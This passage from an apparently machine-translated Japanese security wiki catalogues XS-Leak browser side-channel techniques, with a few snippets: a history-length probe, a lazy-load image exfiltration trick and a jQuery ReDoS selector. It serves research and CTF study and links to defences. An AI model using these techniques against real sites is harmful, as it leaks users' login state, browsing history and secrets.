もしOriginヘッダーがAccess-Control-Allow-Originヘッダーに反映されている場合、リソースがすでにキャッシュされているかどうかを確認することが可能です。Code Example: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfigurationOriginヘッダーがAccess-Control-Allow-Originヘッダーに反映されている場合、攻撃者はこの挙動を悪用してCORSモードでリソースを取得しようとします。エラーが発生しない場合、それはウェブから正しく取得されたことを意味し、エラーが発生すると、それはキャッシュからアクセスされたことを示します（エラーは、キャッシュが元のドメインを許可するCORSヘッダーを含む応答を保存しているために表示されます）。
Originが反映されていないがワイルドカードが使用されている場合（Access-Control-Allow-Origin: *）、この攻撃は機能しません。Readable Attributes TechniqueFetch RedirectInclusion Methods: Fetch APIDetectable Difference: Status CodeMore info: https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.htmlSummary: リダイレクトが完了した後、response.type属性を読み取ることが可能であり、その値がopaqueredirectであれば、リダイレクトされたことがわかります。Code Example: https://xsinator.com/testing.html#Fetch%20Redirect%20Leakredirect: "manual"と他のパラメータを使用してFetch APIを使ってリクエストを送信すると、response.type属性を読み取り、その値がopaqueredirectであれば、リクエクトがリダイレクトされたことがわかります。COOPInclusion Methods: Pop-upsDetectable Difference: HeaderMore info: https://xsinator.com/paper.pdf (5.4), https://xsleaks.dev/docs/attacks/window-references/Summary: Cross-Origin Opener Policy（COOP）によって保護されたページは、クロスオリジンの相互作用からのアクセスを防止します。Code Example: https://xsinator.com/testing.html#COOP%20Leak攻撃者は、クロスオリジンのHTTPレスポンスでCross-Origin Opener Policy（COOP）ヘッダーの存在を推測することができます。COOPは、外部サイトが任意のウィンドウ参照を取得するのを妨げるためにWebアプリケーションによって使用されます。このヘッダーの可視性は、contentWindowリファレンスへのアクセスを試みることで判断できます。COOPが条件付きで適用される場合、openerプロパティは明確な指標となります：COOPがアクティブな場合は未定義であり、それがない場合は定義されています。URL Max Length - Server SideInclusion Methods: Fetch API, HTML ElementsDetectable Difference: Status Code / ContentMore info: https://xsleaks.dev/docs/attacks/navigations/#server-side-redirectsSummary: リダイレクト応答の長さが大きすぎてサーバーがエラーを返し、アラートが生成されるため、応答の違いを検出します。Code Example: https://xsinator.com/testing.html#URL%20Max%20Length%20Leakサーバーサイドのリダイレクトがリダイレクト内でユーザー入力を使用し余分なデータを使用している場合、通常サーバーにはリクエスト長の制限があります。ユーザーデータがその長さ - 1である場合、リダイレクトがそのデータを使用して何かを追加しているため、エラーが発生し、エラーイベントを介して検出できます。ユーザーにクッキーを設定できる場合、十分なクッキーを設定することによってこの攻撃を実行することもできます（cookie bomb）。したがって、正しい応答のサイズが増加すると、エラーが発生します。この場合、同じサイトからこのリクエストをトリガーすると、<script>が自動的にクッキーを送信するため（エラーを確認できます）。
クッキーボム + XS-Searchの例は、この解説の意図された解決策にあります：https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended通常、この種の攻撃にはSameSite=Noneまたは同じコンテキストにいる必要があります。URL Max Length - Client SideInclusion Methods: Pop-upsDetectable Difference: Status Code / ContentMore info: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limitSummary: リダイレクト応答の長さがリクエストに対して大きすぎるため、違いがわかる可能性があります。Code Example: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limitChromiumのドキュメントによると、Chromeの最大URL長は2MBです。一般的に、_webプラットフォーム_にはURLの長さに制限はありません（ただし、2^31が一般的な制限です）。_Chrome_は、実用的な理由とプロセス間通信におけるサービス拒否攻撃を引き起こさないように、URLを最大2MBまでに制限しています。したがって、リダイレクトURLがいずれかのケースで大きい場合、それを2MBを超えるURLでリダイレクトさせることで長さ制限に達する可能性があります。これが発生すると、Chromeは**about:blank#blocked**ページを表示します。わかりやすい違いは、リダイレクトが完了した場合、window.originがエラーをスローすることです。クロスオリジンはその情報にアクセスできないためです。ただし、制限が達した場合、ロードされたページが**about:blank#blockedである場合、ウィンドウのoriginは親のもの**のままであり、アクセス可能な情報です。2MBに到達するために必要な追加情報は、初期URLのハッシュを使用して追加できるため、リダイレクトで使用されます。最大リダイレクト数組み込み方法: Fetch API, Frames検出可能な違い: ステータスコード詳細情報: https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76概要: ブラウザのリダイレクト制限を使用して、URLリダイレクションの発生を確認します。コード例: https://xsinator.com/testing.html#Max%20Redirect%20Leakもしブラウザの最大リダイレクト数が20である場合、攻撃者は自身のページを19回リダイレクトし、最終的に被害者をテスト対象のページに送ることができます。エラーが発生した場合、ページは被害者をリダイレクトしようとしていたことがわかります。履歴の長さ組み込み方法: Frames, Pop-ups検出可能な違い: リダイレクト詳細情報: https://xsleaks.dev/docs/attacks/navigations/概要: JavaScriptコードはブラウザの履歴を操作し、lengthプロパティでアクセスできます。コード例: https://xsinator.com/testing.html#History%20Length%20LeakHistory API はJavaScriptコードがブラウザの履歴を操作することを可能にし、ユーザーが訪れたページを保存します。攻撃者は length プロパティを組み込み方法として使用し、JavaScriptとHTMLのナビゲーションを検出します。
history.length をチェックし、ユーザーにページを移動させ、同一オリジンに戻し、history.length の新しい値をチェックします。同じURLの履歴の長さ組み込み方法: Frames, Pop-ups検出可能な違い: 推測したURLと同じかどうか概要: 履歴の長さを悪用して、フレーム/ポップアップの位置が特定のURLにあるかどうかを推測することが可能です。コード例: 下記攻撃者はJavaScriptコードを使用して、フレーム/ポップアップの位置を推測したURLに変更し、すぐに about:blank に変更します。履歴の長さが増加した場合、URLが正しかったことを示し、URLが同じ場合は再読み込みされないため、時間があったために増加しました。増加しなかった場合、推測したURLを読み込もうとしましたが、すぐに about:blank を読み込んだため、推測したURLを読み込む際に履歴の長さは増加しませんでした。async function debug(win, url) {win.location = url + '#aaa';win.location = 'about:blank';await new Promise(r => setTimeout(r, 500));return win.history.length;}win = window.open("https://example.com/?a=b");await new Promise(r => setTimeout(r, 2000));console.log(await debug(win, "https://example.com/?a=c"));win.close();win = window.open("https://example.com/?a=b");await new Promise(r => setTimeout(r, 2000));console.log(await debug(win, "https://example.com/?a=b"));フレームカウント含まれる方法: フレーム、ポップアップ検出可能な違い: ページコンテンツ詳細情報: https://xsleaks.dev/docs/attacks/frame-counting/概要: window.length プロパティを検査して iframe 要素の量を評価します。コード例: https://xsinator.com/testing.html#Frame%20Count%20Leakiframe や window.open を介して開かれた web の フレーム数を数えることは、そのページ上のユーザーの状態を特定するのに役立つかもしれません。
さらに、ページに常に同じ数のフレームがある場合、連続してフレーム数をチェックすることで、情報が漏洩する可能性がある パターン を特定するのに役立つかもしれません。この技術の例として、Chrome では embed が内部で使用されるため、PDF を フレームカウント で 検出 できます。 zoom、view、page、toolbar などの Open URL Parameters があり、これらの技術が興味深いかもしれません。HTMLElements含まれる方法: HTML 要素検出可能な違い: ページコンテンツ詳細情報: https://xsleaks.dev/docs/attacks/element-leaks/概要: 漏洩した値を読み取り、2つの可能な状態を区別しますコード例: https://xsleaks.dev/docs/attacks/element-leaks/, https://xsinator.com/testing.html#Media%20Dimensions%20Leak, https://xsinator.com/testing.html#Media%20Duration%20LeakHTML 要素を通じた情報漏洩は、特に動的メディアファイルがユーザー情報に基づいて生成される場合や、ウォーターマークが追加されてメディアサイズが変更される場合に、Web セキュリティ上の懸念となります。これは、特定の HTML 要素が露出する情報を分析することで、攻撃者が可能な状態を区別するために悪用することができます。HTML 要素によって露出される情報HTMLMediaElement: この要素はメディアの duration と buffered 時間を明らかにし、その API を介してアクセスできます。 HTMLMediaElement の詳細HTMLVideoElement: videoHeight と videoWidth を公開します。一部のブラウザでは、webkitVideoDecodedByteCount、webkitAudioDecodedByteCount、webkitDecodedFrameCount などの追加のプロパティが利用可能であり、メディアコンテンツについてより詳細な情報を提供します。 HTMLVideoElement の詳細getVideoPlaybackQuality(): この関数は、totalVideoFrames を含むビデオ再生品質に関する詳細を提供し、処理されたビデオデータの量を示すことができます。 getVideoPlaybackQuality() の詳細HTMLImageElement: この要素は画像の height と width を漏洩します。ただし、画像が無効な場合、これらのプロパティは 0 を返し、image.decode() 関数は拒否され、画像の読み込みに失敗したことを示します。 HTMLImageElement の詳細CSS プロパティ含まれる方法: HTML 要素検出可能な違い: ページコンテンツ詳細情報: https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle, https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html概要: ユーザーの状態やステータスと関連するウェブサイトのスタイリングの変化を特定します。コード例: https://xsinator.com/testing.html#CSS%20Property%20LeakWeb アプリケーションは、ユーザーの状態に応じてウェブサイトのスタイリングを変更する場合があります。クロスオリジン CSS ファイルは、HTML リンク要素を使用して攻撃者ページに埋め込むことができ、その ルール が攻撃者ページに 適用 されます。ページがこれらのルールを動的に変更する場合、攻撃者はユーザーの状態に応じてこれらの 違い を 検出 することができます。
情報漏洩技術として、攻撃者は特定の HTML 要素の CSS プロパティを 読み取るために window.getComputedStyle メソッドを使用できます。その結果、影響を受ける要素とプロパティ名がわかっている場合、攻撃者は任意の CSS プロパティを読み取ることができます。CSS 履歴含まれる方法: HTML 要素検出可能な違い: ページコンテンツ詳細情報: https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history概要: :visited スタイルが適用されているかどうかを検出し、すでに訪れたことを示します。コード例: http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.htmlこちらによると、これはヘッドレス Chrome では機能しません。CSS の :visited セレクタは、ユーザーが以前に訪れた URL を異なるスタイルで表示するために使用されます。過去には、getComputedStyle() メソッドを使用してこれらのスタイルの違いを特定することができました。ただし、現代のブラウザは、このメソッドがリンクの状態を明らかにするのを防ぐためのセキュリティ対策を実装しています。これらの対策には、常にリンクが訪れたときの計算されたスタイルを返し、:visited セレクタで適用できるスタイルを制限することが含まれます。これらの制限にもかかわらず、リンクの訪問状態を間接的に識別することが可能です。ユーザーを CSS に影響を受ける領域として操作させるテクニックの1つは、特に mix-blend-mode プロパティを使用することです。このプロパティは、要素を背景とブレンドすることを可能にし、ユーザーの操作に基づいて訪問状態を明らかにする可能性があります。さらに、リンクのレンダリングタイミングを悪用することで、ユーザーの操作なしに検出することができます。ブラウザは訪れたリンクと訪れていないリンクを異なる方法でレンダリングする場合があるため、これによりレンダリングに時間差が生じる可能性があります。このテクニックを使用して、複数のリンクを使用してタイミングの違いを拡大し、タイミング分析を通じて訪問状態を検出することができることを示す Chromium のバグレポートがありました。これらのプロパティや方法の詳細については、それぞれのドキュメントページをご覧ください：:visited: MDN ドキュメントgetComputedStyle(): MDN ドキュメントmix-blend-mode: MDN ドキュメントContentDocument X-Frame LeakInclusion Methods: フレームDetectable Difference: ヘッダーMore info: https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdfSummary: Google Chromeでは、クロスオリジンサイトへの埋め込みがX-Frame-Optionsの制限によりブロックされた場合、専用のエラーページが表示されます。Code Example: https://xsinator.com/testing.html#ContentDocument%20X-Frame%20LeakChromeでは、X-Frame-Optionsヘッダーが"deny"または"same-origin"に設定されたページがオブジェクトとして埋め込まれると、エラーページが表示されます。Chromeは、このオブジェクトのcontentDocumentプロパティに対して、他のブラウザやiframesとは異なり、nullではなく空のドキュメントオブジェクトを返します。攻撃者は、空のドキュメントを検出することで、ユーザーの状態に関する情報を漏洩させる可能性があります。特に開発者がX-Frame-Optionsヘッダーを一貫して設定せず、エラーページを見落とすことが多い場合、この問題を悪用することができます。情報漏洩を防ぐためには、セキュリティヘッダーの適切な適用と意識が重要です。Download DetectionInclusion Methods: フレーム、ポップアップDetectable Difference: ヘッダーMore info: https://xsleaks.dev/docs/attacks/navigations/#download-triggerSummary: 攻撃者は、iframeを利用してファイルのダウンロードを識別することができます。iframeへの継続的なアクセスは、ファイルのダウンロードが成功したことを示唆します。Code Example: https://xsleaks.dev/docs/attacks/navigations/#download-barContent-Dispositionヘッダー、特にContent-Disposition: attachmentは、ブラウザにコンテンツをインライン表示するのではなくダウンロードするよう指示します。この動作を悪用して、ユーザーがファイルのダウンロードをトリガーするページにアクセスできるかどうかを検出することができます。Chromiumベースのブラウザでは、このダウンロード動作を検出するためのいくつかのテクニックがあります：ダウンロードバーの監視:Chromiumベースのブラウザでファイルをダウンロードすると、ブラウザウィンドウの下部にダウンロードバーが表示されます。ウィンドウの高さの変化を監視することで、攻撃者はダウンロードバーの表示を推測し、ダウンロードが開始されたことを示唆できます。iframeを使用したダウンロードナビゲーション:Content-Disposition: attachmentヘッダーを使用してページがファイルのダウンロードをトリガーすると、ナビゲーションイベントが発生しません。iframe内にコンテンツを読み込み、ナビゲーションイベントを監視することで、コンテンツの表示がファイルのダウンロードを引き起こすかどうか（ナビゲーションが発生しない）を確認できます。iframeを使用しないダウンロードナビゲーション:iframeテクニックと同様に、この方法はiframeの代わりにwindow.openを使用します。新しく開かれたウィンドウでのナビゲーションイベントを監視することで、ファイルのダウンロードがトリガーされたかどうか（ナビゲーションが発生しない）やコンテンツがインラインで表示されるかどうかを特定できます。これらのテクニックは、ログイン済みユーザーのみがそのようなダウンロードをトリガーできるシナリオでは、ブラウザの応答に基づいてユーザーの認証状態を間接的に推測するために使用できます。Partitioned HTTP Cache BypassInclusion Methods: ポップアップDetectable Difference: タイミングMore info: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypassSummary: 攻撃者は、iframeを利用してファイルのダウンロードを識別することができます。iframeへの継続的なアクセスは、ファイルのダウンロードが成功したことを示唆します。Code Example: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass, https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722（出典：https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/）このテクニックが興味深い理由：Chromeには今やキャッシュの分割があり、新しく開かれたページのキャッシュキーは次のようになります：(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)、しかし、ngrokページを開いてそこでfetchを使用すると、キャッシュキーは次のようになります：(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)、キャッシュキーが異なるため、キャッシュを共有できません。詳細はこちら：Gaining security and privacy by partitioning the cache
（引用元：こちら）サイトexample.comが*.example.com/resourceからリソースを含む場合、そのリソースはトップレベルナビゲーションを介して直接リクエストされた場合と同じキャッシュキーを持ちます。これは、キャッシュへのアクセスがリソースの読み込みよりも速いため、ページの場所を変更し、20ms後にキャンセルするなどの試みが可能です。停止後にオリジンが変更された場合、リソースがキャッシュされていることを意味します。
または、キャッシュされている可能性のあるページにいくつかのfetchを送信し、それが完了するまでの時間を測定することもできます。Manual RedirectInclusion Methods: Fetch APIDetectable Difference: リダイレクトMore info: ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234Summary: フェッチリクエストへの応答がリダイレクトであるかどうかを特定することが可能ですCode Example:Fetch with AbortControllerInclusion Methods: Fetch APIDetectable Difference: タイミングMore info: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontrollerSummary: リソースの読み込みを試み、読み込みが中断される前に中止することで、リソースがキャッシュされているかどうかを検出することが可能です。エラーがトリガーされるかどうかによって、リソースがキャッシュされているかどうかが判断されます。Code Example: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontrollerfetchとsetTimeoutをAbortControllerと共に使用して、リソースがキャッシュされているかどうかを検出し、特定のリソースをブラウザキャッシュから削除することが可能です。さらに、新しいコンテンツをキャッシュせずにプロセスが行われます。スクリプト汚染組み込み方法: HTML要素（script）検出可能な違い: ページコンテンツ詳細情報: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag概要: 組み込み関数を上書きして、それらの引数を読み取ることが可能で、クロスオリジンスクリプト（直接読み取れない）からでも、これにより貴重な情報が漏洩する可能性があります。コード例: https://xsleaks.dev/docs/attacks/element-leaks/#script-tagサービスワーカー組み込み方法: ポップアップ検出可能な違い: ページコンテンツ詳細情報: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers概要: サービスワーカーを使用してウェブの実行時間を計測します。コード例:与えられたシナリオでは、攻撃者は自身のドメインの1つ、「attacker.com」内でサービスワーカーを登録することを主導します。次に、攻撃者はターゲットウェブサイトでメインドキュメントから新しいウィンドウを開き、サービスワーカーにタイマーを開始するよう指示します。新しいウィンドウが読み込みを開始すると、攻撃者は前のステップで取得した参照をサービスワーカーによって管理されるページに移動します。前のステップで開始されたリクエストが到着すると、サービスワーカーは**204（コンテンツなし）**ステータスコードで応答し、ナビゲーションプロセスを効果的に終了します。この時点で、サービスワーカーは前述のステップで開始されたタイマーからの測定値をキャプチャします。この測定値は、ナビゲーションプロセスの遅延を引き起こすJavaScriptの期間に影響を受けます。実行時間計測では、ネットワーク要因を排除してより正確な測定値を取得することが可能です。たとえば、ページで使用されるリソースをページを読み込む前に読み込むことで実現できます。フェッチタイミング組み込み方法: Fetch API検出可能な違い: タイミング（一般的にはページコンテンツ、ステータスコードによる）詳細情報: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks概要: performance.now()を使用してリクエストの実行にかかる時間を測定します。他のクロックも使用できます。コード例: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacksクロスウィンドウタイミング組み込み方法: ポップアップ検出可能な違い: タイミング（一般的にはページコンテンツ、ステータスコードによる）詳細情報: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks概要: window.openを使用してリクエストの実行にかかる時間を測定するためにperformance.now()を使用します。他のクロックも使用できます。コード例: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
Trickestを使用して、世界で最も先進的なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスしてください：HTMLまたは再注入でここでは、クロスオリジンHTMLから情報を外部流出させるためのテクニックを見つけることができます。これらのテクニックは、何らかの理由でHTMLを注入できますがJSコードを注入できない場合に興味深いです。ダングリングマークアップ画像の遅延読み込みもしコンテンツを外部流出する必要があり、秘密の前にHTMLを追加できる場合は、一般的なダングリングマークアップテクニックをチェックすべきです。
ただし、何らかの理由で1文字ずつ行う必要がある場合（たとえば通信がキャッシュヒットを介して行われる場合）は、このトリックを使用できます。HTMLの画像には、読み込み時に遅延させるための「loading」属性があります。その場合、画像はページの読み込み中ではなく、表示されるときに読み込まれます。<img src=/something loading=lazy >したがって、できることは、多くのジャンク文字を追加することです（たとえば何千もの"W"）。秘密の前にウェブページを埋めるか、 <br><canvas height="1850px"></canvas><br>のようなものを追加します。
その後、たとえば私たちのインジェクションがフラグの前に現れる場合、画像は読み込まれますが、フラグの後に現れる場合、フラグとジャンクが読み込まれないように防ぎます（どれだけのジャンクを配置するかを調整する必要があります）。これはこの解説で起こったことです。もう1つのオプションは、許可されている場合にscroll-to-text-fragmentを使用することです：Scroll-to-text-fragmentただし、ボットがページにアクセスするようにします。#:~:text=SECRウェブページは次のようになります: https://victim.com/post.html#:~:text=SECRpost.htmlには、攻撃者の不要な文字と遅延読み込み画像が含まれ、その後ボットの秘密が追加されます。このテキストの目的は、ボットがページ内のSECRというテキストを含むテキストにアクセスさせることです。そのテキストが秘密であり、画像の直下にあるため、画像は推測された秘密が正しい場合にのみ読み込まれます。したがって、秘密を1文字ずつ外部に漏洩するためのオラクルが得られます。これを悪用するためのコード例: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e画像の遅延読み込みに基づく時間外部画像を読み込むことができない場合、画像が読み込まれたことを攻撃者に示すことができる別のオプションは、何度も文字を推測してその時間を測定することです。画像が読み込まれている場合、すべてのリクエストには画像が読み込まれていない場合よりも時間がかかります。これは、この解説の解決策で使用された方法です。ReDoSCSS ReDoSjQuery(location.hash)が使用されている場合、いくつかのHTMLコンテンツが存在するかどうかをタイミングで判断することが可能です。これは、main[id='site-main']セレクタが一致しない場合、残りのセレクタをチェックする必要がないためです。$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")CSS Injection防御https://xsinator.com/paper.pdfにおいて推奨される緩和策があり、またhttps://xsleaks.dev/の各セクションにもあります。これらのテクニックに対抗する方法についての詳細情報はそちらを参照してください。参考文献https://xsinator.com/paper.pdfhttps://xsleaks.dev/https://github.com/xsleaks/xsleakshttps://xsinator.com/https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスしてください：
Last updated
